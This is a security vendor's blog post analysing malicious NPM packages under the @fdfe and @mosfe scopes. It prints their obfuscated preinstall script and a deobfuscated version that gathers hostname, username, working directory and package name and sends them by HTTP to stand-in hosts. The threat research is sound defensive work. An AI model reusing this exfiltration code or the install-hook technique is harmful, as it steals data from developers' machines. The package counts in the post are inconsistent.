Xygeni Malicious Code Digest: 10 NPM packages unveiled

This week on Xygeni Malicious Code Digest, we unearthed 25 suspicious packages infiltrating the NPM registry, revealing a critical vulnerability in software supply chains. Daniel Martin, a key member of our security research team, has analyzed part of these discoveries.

Total of Maliocus NPM Packages Detected

🚨 (npm) @fdfe/mp-cashier:4.3.22
🚨 (npm) @fdfe/era-build:1.0.15
🚨 (npm) @fdfe/zebra-sequelize-client:1.0.16
🚨 (npm) @fdfe/ecf-http-adapter:1.1.1
🚨 (npm) @fdfe/era-cloud-uploader:0.12.2
🚨 (npm) @mosfe/beam-lint-config:1.0.5
🚨 (npm) @mosfe/beam-git-util:1.0.0
🚨 (npm) @mosfe/beam:2.0.0
🚨 (npm) @mosfe/lion:0.0.3
🚨 (npm) @mosfe/arender-vue:1.3.22
🚨 (npm) @mosfe/owl-config:1.0.8
🚨 (npm) @mosfe/beam-plugin-s3plus:0.1.16
🚨 (npm) @mosfe/portal-proxy:1.1.7
🚨 (npm) @mosfe/s3plus:0.1.7
🚨 (npm) @mosfe/sso-sdk:0.0.6

Daniel analysis sheds light on the severity of the threat posed by malicious packages from the user ‘dhasifg’, providing insights for protecting digital ecosystems.

Unveiling Malicious NPM Packages

On the 16th of April, a total of 10 NPM packages were uploaded to the NPM registry by a now-removed user dhasifg, under the scope `@fdfe` :

  • fdfe/ecf-http-adapter
  • fdfe/era-build
  • fdfe/era-build-runtime
  • fdfe/era-cellar
  • fdfe/era-cloud-uploader
  • fdfe/era-proxy
  • fdfe/eslint-plugin-ins-common
  • fdfe/eslint-rule-svg-rrggbbaa-check
  • fdfe/mp-cashier
  • fdfe/zebra-sequelize-client

Remarkably, the threat actor behind these packages put minimal effort into disguising them, even resorting to using the same description across multiple unrelated packages.

However, a more concerning pattern emerged – each package contained a sneaky preinstall: attribute in its package.json. This attribute would invoke node to execute a specific file included in the package, a common tactic exploited by malicious actors.

These packages were subsequently detected as potentially malicious by Xygeni’s Open Source Security product and notified through its Early Warning mechanism, which correctly identified the execution of obfuscated code and the enumeration of sensitive data within the install script embedded in these packages.

Diving deeper into the code, it’s no surprise that the packages had a common goal: after retrieving system/environment information, they transmitted this data via HTTP requests to an IP address associated with Tencent in China. 

Both the account, ‘dhasifg’, and its associated packages were swiftly removed. However, on the 17th, the threat actor reemerged, reintroducing the same malicious packages with identical IP addresses, albeit under the new alias ’42fgs34bhw’, highlighting the persistence of the threat.

The proliferation of malicious packages on NPM and other registries underscores the critical importance of vigilance and proactive measures in securing software supply chains. Safeguarding the integrity of these chains necessitates continuous monitoring and the proactive detection of threats.

Obfuscated code example:
   const _0x56af5f=_0x932a;function _0x932a(_0xfadd88,_0x2f8d61){const _0x4aaa3b=_0xccdb();return _0x932a=function(_0x1be987,_0x3e2e1f){_0x1be987=_0x1be987-(0x370+0x122+-0x1*0x2fa);let _0xe729c=_0x4aaa3b[_0x1be987];return _0xe729c;},_0x932a(_0xfadd88,_0x2f8d61);}(function(_0x47357e,_0x557558){const _0x509fd4=_0x932a,_0x46d4b2=_0x47357e();while(!![]){try{const _0x3ddf7c=parseInt(_0x509fd4(0x1a9))/(0x1ba5+0x100*0x1+-0x234*0xd)*(-parseInt(_0x509fd4(0x19c))/(-0xc0+0xcd8+-0xc16))+parseInt(_0x509fd4(0x19e))/(-0x1*0x14c2+-0x1c8e+0x3153)*(-parseInt(_0x509fd4(0x1a8))/(-0x6ae*0x3+0x37b*0x9+-0xb45))+parseInt(_0x509fd4(0x1b4))/(0x39*-0x9d+-0x7f9*-0x3+0xb0f)*(-parseInt(_0x509fd4(0x199))/(-0xb2*0xf+-0x1a*-0x17d+0x1e*-0xf1))+parseInt(_0x509fd4(0x1ab))/(-0x1a5e+0x79d+-0x12c8*-0x1)+-parseInt(_0x509fd4(0x1a1))/(0x1775+0x3b7+-0xc*0x243)*(-parseInt(_0x509fd4(0x1b1))/(-0x1a1b+0x1*0x1c2d+-0x209))+-parseInt(_0x509fd4(0x1ae))/(-0x200f*0x1+0x1dbc+0x79*0x5)*(-parseInt(_0x509fd4(0x1ad))/(0x1*-0x1f2+-0x1*-0x1191+0x4*-0x3e5))+parseInt(_0x509fd4(0x19f))/(0x1852+-0x12*0x1a+-0x22*0xa9)*(parseInt(_0x509fd4(0x1a5))/(-0xb*-0x272+-0xa73+0x833*-0x2));if(_0x3ddf7c===_0x557558)break;else _0x46d4b2['push'](_0x46d4b2['shift']());}catch(_0x440107){_0x46d4b2['push'](_0x46d4b2['shift']());}}}(_0xccdb,0x13*0x28+0x1b*-0xcd7+0x8cdbb));const http=require(_0x56af5f(0x19a)),os=require('os'),hostname=os[_0x56af5f(0x1a6)](),pwd=process[_0x56af5f(0x19d)][_0x56af5f(0x1b3)]||process[_0x56af5f(0x1b5)](),packageName=require(_0x56af5f(0x1a2))[_0x56af5f(0x19b)],username=os['userInfo']()['username'],_0x199963={};_0x199963['flag']=_0x56af5f(0x1aa),_0x199963[_0x56af5f(0x1a4)]=packageName,_0x199963[_0x56af5f(0x1a6)]=hostname,_0x199963[_0x56af5f(0x1b0)]=username,_0x199963[_0x56af5f(0x1a0)]=pwd;const queryParams=new URLSearchParams(_0x199963)[_0x56af5f(0x1b2)]();function sendRequest(_0x2d6689){const _0x18f018=_0x56af5f,_0x8235f5={};_0x8235f5['tiOlZ']=_0x18f018(0x1af);const _0x3d6d1=_0x8235f5;http['get'](_0x2d6689,_0x3b54d9=>{})['on'](_0x3d6d1[_0x18f018(0x1ac)],_0x1bdaae=>{});}const urls=[_0x56af5f(0x198)+queryParams,_0x56af5f(0x1a7)+queryParams];function _0xccdb(){const _0x227334=['forEach','packagename','13283491NEdfnj','hostname','http://malicious ip:8080?','20HzMEPs','881086vDvUaM','poi','3198979xcFcEV','tiOlZ','550rqlzJb','46420qqeMZI','error','user','9jrfTva','toString','PWD','622325xFufiP','cwd','http://malicious ip:8080?','30luasSf','http','name','2UfTnIU','env','485733AeSzlU','24ihlWZN','path','553768OoCYVp','./package.json'];_0xccdb=function(){return _0x227334;};return _0xccdb();}urls[_0x56af5f(0x1a3)](sendRequest);
Deobfuscated version:
const http = require('http');
const os = require('os');
const hostname = os.hostname();
const pwd = process.env.PWD || process.cwd();
const packageName = require('./package.json').name;
const username = os.userInfo().username;
const data = {
  flag: 'flag_placeholder',
  packageName: packageName,
  hostname: hostname,
  username: username,
  pwd: pwd
};
const queryParams = new URLSearchParams(data).toString();
function sendRequest(url) {
  http.get(url, (res) => {
    // Handle response
  }).on('error', (err) => {
    // Handle error
  });
}
const urls = [
  'http://example.com?' + queryParams,
  'http://another-example.com?' + queryParams
];
urls.forEach(sendRequest);v
```

With the unveiling of these 10 malicious NPM packages, Open Source Malware Watch underscores the importance of sustained vigilance in safeguarding software supply chains. As we persist in our mission to detect and counteract emerging threats, we urge the community to remain vigilant and proactive. Together, we can fortify the integrity of open-source ecosystems and ensure a safer digital landscape for all.

Ready to enhance your security measures? Explore our Malicious Code Detection tool today and stay ahead of emerging threats. Analyze thousands of new and updated open-source packages daily from NPM, PyPi, and other registries to instantly detect and block zero-day malware, safeguarding your application and infrastructure.

Explore Xygeni's Features!
Watch our Video Demo

Unifying Risk Management from Code to Cloud

with Xygeni ASPM Security